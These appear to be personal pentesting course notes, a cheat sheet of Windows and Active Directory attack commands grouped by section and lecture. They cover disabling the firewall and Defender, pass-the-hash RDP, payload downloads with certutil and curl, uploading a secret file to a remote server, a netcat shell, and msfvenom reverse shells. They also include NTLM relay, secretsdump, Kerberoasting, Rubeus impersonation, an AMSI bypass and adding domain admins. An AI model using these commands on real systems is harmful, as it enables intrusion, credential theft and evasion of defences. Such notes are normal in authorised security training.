Commands

19 August 2023 19:32

PRE-REQUISITES:

DISABLE FIREWALL

netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

ANTI-VIRUS STATUS

Get-MpComputerStatus

DISABLE ANTI-VIRUS

Set-MpPreference -DisableRealtimeMonitoring $true

Section 6:
Nmap:
nmap -sCV --min-rate 1000 <ip>

Port 53:
dig friendzone.red
Dig axfr @<ip> friendzone.red
Install seclists before running next command - sudo apt install seclists
dnsenum --dnsserver 10.10.10.123 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt friendzone.red

Port 88:
https://github.com/ropnop/kerbrute/releases
kerbrute userenum --domain htb.local usernames.txt --dc 10.10.10.52

Port 135:
rpcclient -U "peter.griffin" 192.168.44.142
lookup peter.griffin
Enumdomusers
Enumdomgroups
querygroup 0x200
querygroupmem 0x200
queryuser 0x1f4
impacket-lookupsid peter.griffin:Password123@192.168.44.142

Port 139&445:
smbmap -H 192.168.44.142 -u "peter.griffin" -p "Password123"
smbclient //192.168.44.142/learning -U "peter.griffin"
Enum4linux -a <ip>
impacket-psexec peter.griffin@192.168.44.142
impacket-wmiexec peter.griffin@192.168.44.142

Port 389,636:
ldapsearch -H ldap://192.168.44.142 -x -s base namingcontexts

ldapsearch -H ldap://192.168.44.142 -D "peter.griffin@UAP.local" -w "Password123" -b "DC=UAP,DC=local"
ldapdomaindump -u UAP.local\\peter.griffin -p 'Password123' 192.168.44.142

Port 5985:
evil-winrm -i 192.168.44.146 -u Administrator

Port 3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C /d:pentesting.local +clipboard /dynamic-resolution /drive:/home/kali/Downloads/tools,share

Section - 7
File Transfer HTTP
Start server - python3 SimpleHTTPServerWithUpload.py 80

Download:
curl http://192.168.44.154:80/amibypass.exe -o amibypass.exe
certutil -f -urlcache -split http://192.168.44.154:80/shell.js shell.js
powershell iwr -uri 192.168.44.154:80/agent.exe -outfile agent.exe

Upload:
powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/upload.php', 'C:\temp\supersecret.txt')"

File Transfer Using SMB:
impacket-smbserver smb . -smb2support
Download:
copy \\ip\share\nc.exe C:\temp\nc.exe
Upload:
Copy C:\temp\nc.exe \\ip\share\nc.exe
Running Directly from kali without downloading:
\\ip\share\nc.exe ip 443 -e cmd.exe

File Transfer using nc
To receive:
Nc.exe -lvnp 5555 > g.txt
Nc ip 555 < g.txt

To send:
(reverse the above process)

Section - 8
Stageless payload:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.16.173 LPORT=5555 -f exe -o rs_exploitl.exe
Staged:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.173 LPORT=5555 -f exe -o rs_exploitl.exe

In Metaploit:
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_tcp

Section - 9
LLMNR Poisoning:
Sudo responder -I eth0

RDP MITM:
./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <DC IP>

LDAP Relay:
python3 ntlmrelayx.py -t ldap://192.168.44.146 --escalate-user stewie.griffin
impacket-secretsdump UAP/stewie.griffin@192.168.44.146

SMB Relay:
responder -I eth0

DOC File Payload:
use exploit/multi/fileformat/office_word_macro

JS File Shell

```
var sh = WScript.CreateObject("WScript.Shell")
var posh = sh.Exec("")
//var posh = sh.Exec("")
var i=posh.StdIn;
i.WriteLine('Get-PSProvider')
i.Close()
var o = posh.StdOut.ReadAll()
var e = posh.StdErr.ReadAll()

WScript.Echo('1>', o)
WScript.Echo('2>', e)
```

Section 10 :
Get-NetDomain
Get-DomainSID
Get-DomainPolicy
(Get-DomainPolicy).systemaccess
Get-NetDomainController
Get-Netuser
Get-Netuser | select cn,samaccountname,badpwdcount
Get-NetComputer | select cn, operatingsystem
Get-DomainGroup
Get-DomainGroup | select samaccountname
Get-DomainGroupMember Administrators
Get-NetGPO
Get-NetGPO | select displayname

Get-NetProcess | select ProcessName, user
Invoke-ShareFinder
Invoke-FileFinder
Get-NetComputer | select dnshostname
Find-localAdminAccess
Get-NetSession
Get-NetUser -SPN | select samaccountname, serviceprincipalname
Invoke-Kerberoast
Get-DomainUser -PreAuthNotRequired

Section - 11
Lecture 51 -
msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=443 -f msi -o rev.msi
powershell wget http://ip/rev.msi -outfile rev.msi
msiexec /quiet /qn /i rev.msi

Lecture - 54
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """"
Icacls "Folder name"
shutdown /r /t 0

Lecture - 55
Sharup.exe audit modifiableservices
Sc.exe qc <service name> binpath= <malicious file>

Lecture - 56
Sharup.exe audit modifiabaleservicebinaries

Section 16
Lecture 103:
powershell Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description
sekurlsa::tickets
sekurlsa::tickets /export
kerberos::ptt <ticket file>
Klist
Ener-PsSession DC01

Lecture 104:
.\Rubeus hash /user:sql_svc /password:Password123 /domain:UAP.local
.\Rubeus.exe s4u /user:sql_svc /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/DC01.UAP.local/UAP.local /ptt
Klist
Enter-PsSession DC01

Section 16
AMSI BYPASS
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=

```
$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=
$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr,
1)
```

ADD USER TO ADMINISTRATOR GROUP

net user /add david password123
For local group:
net localgroup administrators david /add
For Domain group:
net group "Domain Admins" testuser /add /domain